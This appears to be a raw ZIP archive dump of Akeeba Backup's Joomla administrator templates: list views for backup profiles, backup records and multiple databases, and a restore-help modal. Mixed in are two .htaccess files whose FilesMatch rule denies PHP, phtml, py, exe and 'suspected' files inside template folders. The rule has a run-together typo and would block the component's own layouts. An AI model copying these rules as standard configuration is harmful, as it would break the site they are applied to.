							<?= Text::_('COM_AKEEBABACKUP_MULTIDB_GUI_LBL_TEST') ?>
						</button>

						<button type="button"
								class="btn btn-success" id="akEditorBtnSave">
							<span class="fa fa-check"></span>
							<?= Text::_('COM_AKEEBABACKUP_MULTIDB_GUI_LBL_SAVE') ?>
						</button>

						<button type="button"
								class="btn btn-danger" id="akEditorBtnCancel">
							<span class="fa fa-times-circle"></span>
							<?= Text::_('COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CANCEL') ?>
						</button>
					</div>
				</div>
			</div>
        </div>
    </div>
</div>

<?php
echo $this->loadAnyTemplate('commontemplates/errormodal');
echo $this->loadAnyTemplate('commontemplates/profilename');
?>

<div class="card">
    <div id="ak_list_container" class="card-body">
        <table id="ak_list_table" class="table table-striped">
            <thead>
            <tr>
                <td style="width: 40px">&nbsp;</td>
                <td style="width: 40px">&nbsp;</td>
                <th>
					<?= Text::_('COM_AKEEBABACKUP_MULTIDB_LABEL_HOST') ?>
				</th>
                <th>
					<?= Text::_('COM_AKEEBABACKUP_MULTIDB_LABEL_DATABASE') ?>
				</th>
            </tr>
            </thead>
            <tbody id="ak_list_contents">
            </tbody>
        </table>
    </div>
</div>
PK     \Sʉ         tmpl/multipledatabases/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \6"      tmpl/profiles/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Profiles\HtmlView $this */

/**
 * HTMLHelper's `behavior.multiselect` is deprecated in Joomla 6.
 *
 * See Joomla PR 45925.
 */
call_user_func(function(string $formName = 'adminForm') {
	if (version_compare(JVERSION, '5.999.999', 'lt'))
	{
		HTMLHelper::_('behavior.multiselect');

		return;
	}

	$doc       = \Joomla\CMS\Factory::getApplication()->getDocument();
	$doc->addScriptOptions('js-multiselect', ['formName' => $formName]);
	$doc->getWebAssetManager()->useScript('multiselect');
});

$user      = Factory::getApplication()->getIdentity();
$userId    = $user->id;
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

$this->tableColumnsAutohide();
$this->tableColumnsMultiselect('#articleList');

?>
<form action="<?= Route::_('index.php?option=com_akeebabackup&view=Profiles'); ?>"
      method="post" name="adminForm" id="adminForm">
	<div class="row">
		<div class="col-md-12">
			<div id="j-main-container" class="j-main-container">
				<?= LayoutHelper::render('joomla.searchtools.default', ['view' => $this]) ?>

				<div class="alert alert-info small mt-0 mb-2">
					<span class="fa fa-fw fa-info-circle" aria-hidden="true"></span>
					<?= Text::_('COM_AKEEBABACKUP_PROFILES_LBL_EXPLAIN_PROFILES') ?>
				</div>

				<?php if (empty($this->items)) : ?>
					<div class="alert alert-info">
						<span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?= Text::_('INFO'); ?></span>
						<?= Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
					</div>
				<?php else : ?>
					<table class="table" id="articleList">
						<caption class="visually-hidden">
							<?= Text::_('COM_AKEEBABACKUP_PROFILES_TABLE_CAPTION'); ?>,
							<span id="orderedBy"><?= Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
							<span id="filteredBy"><?= Text::_('JGLOBAL_FILTERED_BY'); ?></span>
						</caption>
						<thead>
						<tr>
							<td class="w-1 text-center">
								<?= HTMLHelper::_('grid.checkall'); ?>
							</td>
							<th scope="col" class="w-25 d-none d-md-table-cell">
							</th>
							<th scope="col">
								<?= HTMLHelper::_('searchtools.sort', 'COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION', 'description', $listDirn, $listOrder); ?>
							</th>
							<th scope="col" class="w-1 text-center">
								<?= Text::_('COM_AKEEBABACKUP_CONFIG_QUICKICON_LABEL') ?>
							</th>
                            <th scope="col" class="w-1 text-center">
	                            <?= Text::_('JGRID_HEADING_ACCESS') ?>
                            </th>
						</tr>
						</thead>
						<tbody>
						<?php foreach ($this->items as $i => $item) :?>
							<tr class="row<?= $i % 2; ?>">
								<td class="text-center">
									<?= HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->name); ?>
								</td>

								<td class="d-none d-md-table-cell">
									<a href="<?= Route::_('index.php?option=com_akeebabackup&task=SwitchProfile&profileid=' . $item->id . '&returnurl=' . base64_encode('index.php?option=com_akeebabackup&view=Configuration') . '&' . Factory::getApplication()->getFormToken() . '=1') ?>"
									   class="btn btn-primary btn-sm text-decoration-none"
									>
										<span class="fa fa-cog"></span>
										<?= Text::_('COM_AKEEBABACKUP_CONFIG_UI_CONFIG') ?>
									</a>
									<a href="<?= Route::_('index.php?option=com_akeebabackup&task=Profile.export&id=' . (int) $item->id . '&format=json&' . Factory::getApplication()->getFormToken() . '=1'); ?>"
									   class="btn btn-secondary btn-sm text-decoration-none"
									>
										<span class="fa fa-download"></span>
										<?= Text::_('COM_AKEEBABACKUP_PROFILES_BTN_EXPORT') ?>
									</a>
								</td>

								<td scope="row">
									<div class="break-word">
										<a href="<?= Route::_('index.php?option=com_akeebabackup&task=Profile.edit&id=' . (int) $item->id); ?>"
										   title="<?= Text::_('JACTION_EDIT'); ?><?= $this->escape($item->description); ?>">
											<?= $this->escape($item->description); ?>
										</a>
										<div class="small">
											<?= Text::_('JGLOBAL_FIELD_ID_LABEL') ?>:
											<strong><?= $item->id ?></strong>
										</div>
									</div>
								</td>

								<td class="text-center">
									<?= HTMLHelper::_('jgrid.published', $item->quickicon, $i, 'Profiles.', true, 'cb'); ?>
								</td>

                                <td>
									<?= $this->escape($item->access_level) ?>
                                </td>
							</tr>
						<?php endforeach; ?>
						</tbody>
					</table>

					<?php // Load the pagination. ?>
					<?= $this->pagination->getListFooter(); ?>
				<?php endif; ?>

				<input type="hidden" name="task" value="">
				<input type="hidden" name="boxchecked" value="0">
				<?= HTMLHelper::_('form.token'); ?>
			</div>
		</div>
	</div>
</form>

<div id="importModal"
	 class="modal fade"
	 role="dialog"
	 tabindex="-1"
	 aria-labelledby="akeeba-config-confwiz-title"
	 aria-hidden="true"
>
	<div class="modal-dialog modal-lg">
		<div class="modal-content">
			<div class="modal-header">
				<h3 class="modal-title" id="akeeba-config-confwiz-title">
					<?= Text::_('COM_AKEEBABACKUP_PROFILES_IMPORT') ?>
				</h3>
				<button type="button" class="btn-close novalidate" data-bs-dismiss="modal"
						aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>"></button>
			</div>
			<div class="modal-body p-5">
				<form action="<?= Route::_('index.php?option=com_akeebabackup&task=Profiles.import') ?>" method="post" name="importForm" id="importForm"
					  enctype="multipart/form-data"
					  class="border rounded p-3 bg-light"
				>
					<input type="hidden" name="boxchecked" id="boxchecked" value="0" />
					<?= HTMLHelper::_('form.token') ?>

					<div class="input-group mb-2">
						<input type="file" name="importfile" class="form-control" />

						<button type="submit"
								class="btn btn-success">
							<span class="fa fa-upload"></span>
							<?= Text::_('COM_AKEEBABACKUP_PROFILES_HEADER_IMPORT') ?>
						</button>
					</div>

					<div class="text-muted">
						<?= Text::_('COM_AKEEBABACKUP_PROFILES_LBL_IMPORT_HELP') ?>
					</div>
				</form>
			</div>
		</div>
	</div>
</div>PK     \Sʉ        tmpl/profiles/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \4a    "  tmpl/manage/howtorestore_modal.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
use Joomla\CMS\Language\Text;

defined('_JEXEC') || die();

/** @var  \Akeeba\Component\AkeebaBackup\Administrator\View\Manage\HtmlView $this */

// Make sure we only ever add this HTML and JS once per page
if (defined('AKEEBA_VIEW_JAVASCRIPT_HOWTORESTORE'))
{
	return;
}

define('AKEEBA_VIEW_JAVASCRIPT_HOWTORESTORE', 1);

$this->getDocument()->addScriptOptions('akeebabackup.Manage.ShowHowToRestoreModal', 1);

?>
<div id="akeebabackup-config-howtorestore-bubble"
	 class="modal fade"
	 tabindex="-1"
	 role="dialog"
	 aria-labelledby="akeeba-config-confwiz-title"
	 aria-hidden="true"
>
	<div class="modal-dialog">
		<div class="modal-content">
			<div class="modal-header">
				<h3 class="modal-title" id="akeeba-config-confwiz-title">
					<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_LEGEND') ?>
				</h3>
				<button type="button" class="btn-close novalidate" data-bs-dismiss="modal"
						aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>"></button>
			</div>
			<div class="modal-body p-3">
				<p>
					<?= Text::sprintf('COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_' . (AKEEBABACKUP_PRO ? 'PRO' : 'CORE'), 'http://akee.ba/abrestoreanywhere', 'index.php?option=com_akeebabackup&view=Transfer', 'https://www.akeeba.com/latest-kickstart-core.zip') ?>
				</p>
				<p>
					<?php if (!AKEEBABACKUP_PRO): ?>
						<?= Text::sprintf('COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE_INFO_ABOUT_PRO', 'https://www.akeeba.com/products/akeeba-backup.html') ?>
					<?php endif; ?>
				</p>
			</div>
			<div class="modal-footer">
				<button type="button"
						class="btn btn-primary novalidate" data-bs-dismiss="modal">
					<span class="fa fa-times"></span>
					<?= Text::_('COM_AKEEBABACKUP_BUADMIN_BTN_REMINDME') ?>
				</button>

				<a href="index.php?option=com_akeebabackup&view=Manage&task=hidemodal" class="btn btn-success">
					<span class="fa fa-check-circle"></span>
					<?= Text::_('COM_AKEEBABACKUP_BUADMIN_BTN_DONTSHOWTHISAGAIN') ?>
				</a>
			</div>
		</div>
	</div>
</div>
PK     \{qS&  S&    tmpl/manage/default.phpnu [        	<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

/** @var  \Akeeba\Component\AkeebaBackup\Administrator\View\Manage\HtmlView $this */

/**
 * HTMLHelper's `behavior.multiselect` is deprecated in Joomla 6.
 *
 * See Joomla PR 45925.
 */
call_user_func(function(string $formName = 'adminForm') {
	if (version_compare(JVERSION, '5.999.999', 'lt'))
	{
		HTMLHelper::_('behavior.multiselect');

		return;
	}

	$doc       = \Joomla\CMS\Factory::getApplication()->getDocument();
	$doc->addScriptOptions('js-multiselect', ['formName' => $formName]);
	$doc->getWebAssetManager()->useScript('multiselect');
});

HTMLHelper::_('bootstrap.popover', '.akeebaCommentPopover', [
		'trigger' => 'click hover focus'
]);
HTMLHelper::_('bootstrap.tooltip', '.akeebaTooltip');

$this->tableColumnsAutohide();
$this->tableColumnsMultiselect('#articleList');

if ($this->promptForBackupRestoration)
{
	echo $this->loadAnyTemplate('howtorestore_modal');
}

?>
<div id="akeebabackup-manage-iframe-modal"
	 class="modal fade"
	 tabindex="-1"
	 role="dialog"
	 aria-labelledby="akeebabackup-manage-iframe-modal-title"
	 aria-hidden="true"
>
	<div class="modal-dialog modal-lg modal-dialog-scrollable">
		<div class="modal-content">
			<div class="modal-header">
				<h3 class="modal-title" id="akeebabackup-manage-iframe-modal-title">
				</h3>
				<button type="button" class="btn-close novalidate"
						id="akeebabackup-manage-iframe-modal-close"
						data-bs-dismiss="modal"
						aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>"></button>
			</div>
			<div class="modal-body p-3" id="akeebabackup-manage-iframe-modal-content"></div>
		</div>
	</div>
</div>


<div class="alert alert-info">
	<h3><?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_LEGEND') ?></h3>
	<p>
		<?= Text::sprintf('COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_' . (AKEEBABACKUP_PRO ? 'PRO' : 'CORE'), 'http://akee.ba/abrestoreanywhere', 'index.php?option=com_akeebabackup&view=Transfer', 'https://www.akeeba.com/latest-kickstart-core.zip') ?>
	</p>
	<?php if (!AKEEBABACKUP_PRO): ?>
		<p>
			<?= Text::sprintf('COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE_INFO_ABOUT_PRO', 'https://www.akeeba.com/products/akeeba-backup.html') ?>
		</p>
	<?php endif ?>
</div>


<form action="<?= Route::_('index.php?option=com_akeebabackup&view=Manage'); ?>"
	  method="post" name="adminForm" id="adminForm">
	<div class="row">
		<div class="col-md-12">
			<div id="j-main-container" class="j-main-container">
				<?= LayoutHelper::render('joomla.searchtools.default', ['view' => $this]) ?>
				<?php if (empty($this->items)) : ?>
					<div class="alert alert-info">
						<span class="icon-info-circle" aria-hidden="true"></span><span
								class="visually-hidden"><?= Text::_('INFO'); ?></span>
						<?= Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
					</div>
				<?php else : ?>
					<table class="table" id="articleList">
						<caption class="visually-hidden">
							<?= Text::_('COM_AKEEBABACKUP_BUADMIN_TABLE_CAPTION'); ?>, <span
									id="orderedBy"><?= Text::_('JGLOBAL_SORTED_BY'); ?> </span>, <span
									id="filteredBy"><?= Text::_('JGLOBAL_FILTERED_BY'); ?></span>
						</caption>
						<thead>
						<tr>
							<td class="w-1 text-center">
								<?= HTMLHelper::_('grid.checkall'); ?>
							</td>
							<th scope="col" class="text-center d-none d-md-table-cell" style="max-width: 48px;">
								<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_ID') ?>
							</th>
							<th scope="col" class="text-center" style="max-width: 40px">
								<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN') ?>
							</th>
							<th scope="col" class="text-center">
								<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_DESCRIPTION') ?>
							</th>
							<th scope="col" class="text-center d-none d-md-table-cell">
								<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_PROFILEID') ?>
							</th>
							<th scope="col" class="text-center" style="max-width: 40px;">
								<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS') ?>
							</th>
							<th scope="col" class="text-center d-none d-sm-table-cell">
								<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_MANAGEANDDL') ?>
							</th>
						</tr>
						</thead>
						<tbody>
						<?php foreach ($this->items as $i => $record) : ?>
							<?php
							[$originDescription, $originIcon] = $this->getOriginInformation($record);
							[$startTime, $duration, $timeZoneText] = $this->getTimeInformation($record);
							[$statusClass, $statusIcon] = $this->getStatusInformation($record);
							$profileName = $this->getProfileName($record);
                            $comment     = $this->escapeComment($record['comment']);

							$frozenIcon  = 'akion-waterdrop';
							$frozenTask  = 'freeze';
							$frozenTitle = Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_FREEZE');

							if ($record['frozen'])
							{
								$frozenIcon  = 'akion-ios-snowy';
								$frozenTask  = 'unfreeze';
								$frozenTitle = Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_UNFREEZE');
							}
							?>
							<tr class="row<?= $i % 2; ?>">
								<?php // Checkbox ?>
								<td class="text-center">
									<?= HTMLHelper::_('grid.id', $i, $record['id'], false, 'cid', 'cb', $record['id']); ?>
								</td>
								<?php // Backup ID ?>
								<td class="d-none d-md-table-cell">
									<?= $record['id'] ?>
								</td>
								<?php // Frozen ?>
								<td>
									<?php // $frozenIcon ?>
									<?= HTMLHelper::_('jgrid.state', $this->getFrozenStates(), $record['frozen'], $i, array('prefix' => 'Manage.', 'translate' => true), true, true, 'cb'); ?>
								</td>
								<?php // Description, backup date, duration and size ?>
								<td>
									<span class="<?= $originIcon ?> akeebaCommentPopover" rel="popover"
									  title="<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN') ?>"
									  data-bs-content="<?= $originDescription ?>"></span>
									<?php if (!(empty($comment))): ?>
										<span class="fa fa-info-circle akeebaCommentPopover" rel="popover"
											  title="<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_COMMENT') ?>"
											  data-bs-content="<?= $comment ?>"></span>
									<?php endif ?>
									<a href="<?= Uri::base() ?>index.php?option=com_akeebabackup&view=Statistic&layout=edit&id=<?= $record['id'] ?>">
										<?= empty($record['description'])
											? Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_NODESCRIPTION')
											: $this->escape($record['description']) ?>
									</a>
									<div class="row">
										<span class="col-lg akeeba-buadmin-startdate">
												<span class="fa fa-calendar akeebaTooltip"
													  title="<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_START') ?>"
												></span>&nbsp;
												<?= $startTime ?> <?= $timeZoneText ?>
										</span>

										<span class="col-lg akeeba-buadmin-duration">
											<span class="fa fa-stopwatch akeebaTooltip"
												  title="<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_DURATION') ?>"
											></span>&nbsp;
											<?= $duration ?: '&mdash;' ?>
										</span>

										<span class="col-lg akeeba-buadmin-size">
											<span class="fa fa-weight-hanging akeebaTooltip"
												  title="<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_SIZE') ?>"
											></span>&nbsp;
											<?php if ($record['meta'] == 'ok'): ?>
												<?= $this->formatFilesize($record['size']) ?>
											<?php elseif ($record['total_size'] > 0): ?>
												<i><?= $this->formatFilesize($record['total_size']) ?></i>
											<?php else: ?>
												&mdash;
											<?php endif ?>
										</span>
									</div>
									<div class="row d-block d-md-none">
										<div class="col-md">
											<span class="fa fa-users"></span>&nbsp;
										 	#<?= (int) $record['profile_id'] ?>.
											<?= $profileName == '&mdash;' ? $profileName : $this->escape($profileName) ?>
										</div>
										<div class="col-md">
											<span class="fa fa-align-justify"></span>&nbsp;
											<span class="fs-6 fst-italic">
												<?= $this->translateBackupType($record['type']) ?>
											</span>
										</div>
									</div>
								</td>
								<?php // Backup profile ?>
								<td class="d-none d-md-table-cell">
									<div>
										 #<?= (int) $record['profile_id'] ?>.
										<?= $profileName == '&mdash;' ? $profileName : $this->escape($profileName) ?>
									</div>
									<div>
										<span class="fs-6 fst-italic">
											<?= $this->translateBackupType($record['type']) ?>
										</span>
									</div>
								</td>
								<?php // Status ?>
								<td>
								<span class="badge fs-3 rounded-pill w-100 <?= $statusClass ?> akeebaTooltip"
									  rel="popover"
									  title="<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_' . $record['meta']) ?>"
								>
									&nbsp;<span class="<?= $statusIcon ?>"></span>&nbsp;
								</span>
								</td>
								<?php // Manage & Download ?>
								<td class="d-none d-sm-table-cell">
									<?= $this->loadAnyTemplate('manage_column', false, ['record' => &$record]); ?>
								</td>
							</tr>
						<?php endforeach; ?>
						</tbody>
					</table>

					<?php // Load the pagination. ?>
					<?= $this->pagination->getListFooter(); ?>
				<?php endif; ?>

				<input type="hidden" name="task" value=""> <input type="hidden" name="boxchecked" value="0">
				<?= HTMLHelper::_('form.token'); ?>
			</div>
		</div>
	</div>
</form>PK     \W'N3"  "    tmpl/manage/manage_column.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Component\AkeebaBackup\Administrator\Helper\Utils;
use Akeeba\Engine\Factory;
use Joomla\CMS\Language\Text;

/** @var  \Akeeba\Component\AkeebaBackup\Administrator\View\Manage\HtmlView $this */
/** @var  array $record */

if (!isset($record['remote_filename']))
{
	$record['remote_filename'] = '';
}

$archiveExists    = $record['meta'] == 'ok';
$showManageRemote = $record['hasRemoteFiles'] && (AKEEBABACKUP_PRO == 1);
$engineForProfile = array_key_exists($record['profile_id'], $this->enginesPerProfile) ? $this->enginesPerProfile[$record['profile_id']] : 'none';
$showUploadRemote = $this->permissions['backup'] && $archiveExists && !$showManageRemote && ($engineForProfile != 'none') && ($record['meta'] != 'obsolete') && (AKEEBABACKUP_PRO == 1);
$showDownload     = $this->permissions['download'] && $archiveExists;
$showViewLog      = $this->permissions['backup'] && isset($record['backupid']) && !empty($record['backupid']);
$postProcEngine   = '';
$thisPart         = '';
$thisID           = urlencode($record['id']);

if ($showUploadRemote)
{
	$postProcEngine   = $engineForProfile ?: 'none';
	$showUploadRemote = !empty($postProcEngine);
}

$relativePath = Utils::getRelativePath(JPATH_SITE, dirname($record['absolute_path']));

if (substr($relativePath, 0, 2) === './')
{
	$relativePath = substr($relativePath, 2);
}

?>
<div class="modal fade"
	 id="akeeba-buadmin-<?= (int)$record['id'] ?>"
	 tabindex="-1"
	 role="dialog"
	 aria-labelledby="akeeba-buadmin-<?= (int)$record['id'] ?>-title"
	 aria-hidden="true"
>
    <div class="modal-dialog modal-xl modal-dialog-centered modal-dialog-scrollable">
        <div class="modal-content">
			<div class="modal-header">
            	<h3 class="modal-title" id="akeeba-buadmin-<?= (int)$record['id'] ?>-title">
					<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LBL_BACKUPINFO') ?>
				</h3>
				<button type="button" class="btn-close novalidate" data-bs-dismiss="modal"
						aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>"></button>
			</div>
			<div class="modal-body p-3">
				<div class="row mb-3">
					<div class="col-md-5 fw-bold">
						<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEEXISTS') ?>
					</div>
					<div class="col-md-7 fw-bold">
						<?php if($record['meta'] == 'ok'): ?>
							<span class="text-success">
								<?= Text::_('JYES') ?>
							</span>
						<?php else : ?>
							<span class="text-danger">
								<?= Text::_('JNO') ?>
							</span>
						<?php endif ?>
					</div>
				</div>
				<div class="row mb-3">
					<div class="col-md-5 fw-bold">
						<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPATH' . ($archiveExists ? '' : '_PAST'))?>
					</div>
					<div class="col-md-7 text-break">
						<?= $this->escape($relativePath) ?>
					</div>
				</div>
				<div class="row mb-3">
					<div class="col-md-5 fw-bold">
						<p>
							<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVENAME' . ($archiveExists ? '' : '_PAST'))?>
						</p>
						<p class="alert alert-info">
							<span class="fa fa-info-circle"></span>
							<?= Text::plural('COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPARTS', max($record['multipart'], 1)) ?>
						</p>
					</div>
					<div class="col-md-7">
						<?php if ($record['multipart'] < 2): ?>
						<code>
							<?= $this->escape($record['archivename']) ?>
						</code>
						<?php else: ?>
						<ul>
							<?php foreach(Factory::getStatistics()->get_all_filenames($record, false) as $file): ?>
							<li>
								<code><?= basename($file) ?></code>
							</li>
							<?php endforeach ?>
						</ul>
						<?php endif ?>
					</div>
				</div>
			</div>
        </div>
    </div>
</div>

<?php if($showDownload): ?>
	<div id="akeeba-buadmin-download-<?= (int)$record['id'] ?>"
		 class="modal fade"
		 tabindex="-1"
		 role="dialog"
		 aria-labelledby="akeeba-buadmin-download-<?= (int)$record['id'] ?>-title"
		 aria-hidden="true"
	>
		<div class="modal-dialog modal-lg modal-dialog-centered">
			<div class="modal-content">
				<div class="modal-header">
					<h3 class="modal-title" id="akeeba-buadmin-download-<?= (int)$record['id'] ?>">
						<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_TITLE')?>
					</h3>
					<button type="button" class="btn-close novalidate" data-bs-dismiss="modal"
							aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>"></button>
				</div>
				<div class="modal-body p-3">
					<div class="alert alert-warning">
						<p>
							<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_WARNING')?>
						</p>
					</div>

					<?php if($record['multipart'] < 2): ?>
						<button type="button"
								class="btn btn-primary btn-sm comAkeebaManageDownloadButton"
								data-id="<?= (int) $record['id'] ?>">
							<span class="fa fa-file-download"></span>
							<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD') ?>
						</button>
					<?php else: ?>
						<div>
							<?= Text::plural('COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_PARTS', (int)$record['multipart']) ?>
						</div>
						<div class="d-flex flex-row flex-wrap justify-content-start align-items-start">
							<?php for($count = 0; $count < $record['multipart']; $count++): ?>
								<button type="button"
										class="btn btn-secondary btn-sm text-decoration-none me-2 mb-2 comAkeebaManageDownloadButton"
										data-id="<?= (int) $record['id'] ?>"
										data-part="<?= (int) $count ?>">
									<span class="fa fa-file-download"></span>
									<?= Text::sprintf('COM_AKEEBABACKUP_BUADMIN_LABEL_PART', $count) ?>
								</button>
							<?php endfor ?>
						</div>
					<?php endif ?>
				</div>
			</div>
		</div>
	</div>
<?php endif ?>

<?php if($showManageRemote || $showUploadRemote): ?>
<div class="mb-3">
	<?php if($showManageRemote): ?>
		<div style="padding-bottom: 3pt;">
			<button type="button"
					class="btn btn-primary akeeba_remote_management_link"
					data-management="index.php?option=com_akeebabackup&view=Remotefiles&tmpl=component&task=listactions&id=<?= (int) $record['id'] ?>"
					data-reload="index.php?option=com_akeebabackup&view=Manage"
			>
				<span class="fa fa-cloud"></span>
				<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LABEL_REMOTEFILEMGMT') ?>
			</button>
		</div>
	<?php elseif($showUploadRemote): ?>
		<button type="button"
				class="btn btn-primary akeeba_upload"
				data-upload="index.php?option=com_akeebabackup&view=Upload&tmpl=component&task=start&id=<?= (int) $record['id'] ?>"
				data-reload="index.php?option=com_akeebabackup&view=Manage"
				title="<?= Text::sprintf('COM_AKEEBABACKUP_TRANSFER_DESC', Text::_("ENGINE_POSTPROC_{$postProcEngine}_TITLE")) ?>">
			<span class="fa fa-cloud-upload-alt"></span>
			<?= Text::_('COM_AKEEBABACKUP_TRANSFER_TITLE') ?>
			(<span class="fst-italic"><?= $this->escape($postProcEngine) ?></span>)
		</button>
	<?php endif ?>
</div>
<?php endif ?>

<div>
	<?php if($showDownload): ?>
		<button type="button"
				class="btn btn-<?= ($showManageRemote || $showUploadRemote) ? 'secondary' : 'success' ?> me-2 mb-2"
				data-bs-toggle="modal"
				data-bs-target="#akeeba-buadmin-download-<?= (int)$record['id'] ?>"
		>
			<span class="fa fa-file-download"></span>
			<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD') ?>
		</button>
	<?php endif ?>

	<?php if($showViewLog): ?>
        <?php if ($record['log_present']): ?>
            <a class="akeebabackup-viewlog-button btn btn-outline-dark btn-small text-decoration-none me-2 mb-2 akeebaCommentPopover"
               <?= ($record['meta'] != 'obsolete') ? '' : 'disabled="disabled"' ?>
               href="index.php?option=com_akeebabackup&view=Log&tag=<?= $this->escape($record['tag']) ?>.<?= $this->escape($record['backupid']) ?>&profileid=<?= (int)$record['profile_id'] ?>"
               title="<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LBL_LOGFILEID') ?>"
               data-bs-content="<?= $this->escape($record['backupid']) ?>">
                <span class="fa fa-search"></span>
                <?= Text::_('COM_AKEEBABACKUP_LOG') ?>
            </a>
        <?php else: ?>
            <button type="button"
                    class="btn btn-outline-dark btn-small me-2 mb-2 akeebaTooltip"
                    disabled
                    title="<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LOG_NOT_AVAILABLE') ?>">
                <span class="fa fa-search"></span>
                <?= Text::_('COM_AKEEBABACKUP_LOG') ?>
            </button>
        <?php endif ?>
    <?php endif ?>

	<button type="button"
			class="btn btn-info btn-sm akeebaTooltip"
			data-bs-toggle="modal"
			data-bs-target="#akeeba-buadmin-<?= (int) $record['id'] ?>"
			title="<?= Text::_('COM_AKEEBABACKUP_BUADMIN_LBL_BACKUPINFO') ?>"
	>
		<span class="fa fa-info-circle"></span>
	</button>
</div>
PK     \-x  x    tmpl/manage/default.xmlnu [        <?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<metadata>
	<layout title="COM_AKEEBABACKUP_VIEW_MANAGE_TITLE">
		<message>
			<![CDATA[COM_AKEEBABACKUP_VIEW_MANAGE_DESC]]>
		</message>
	</layout>
</metadata>
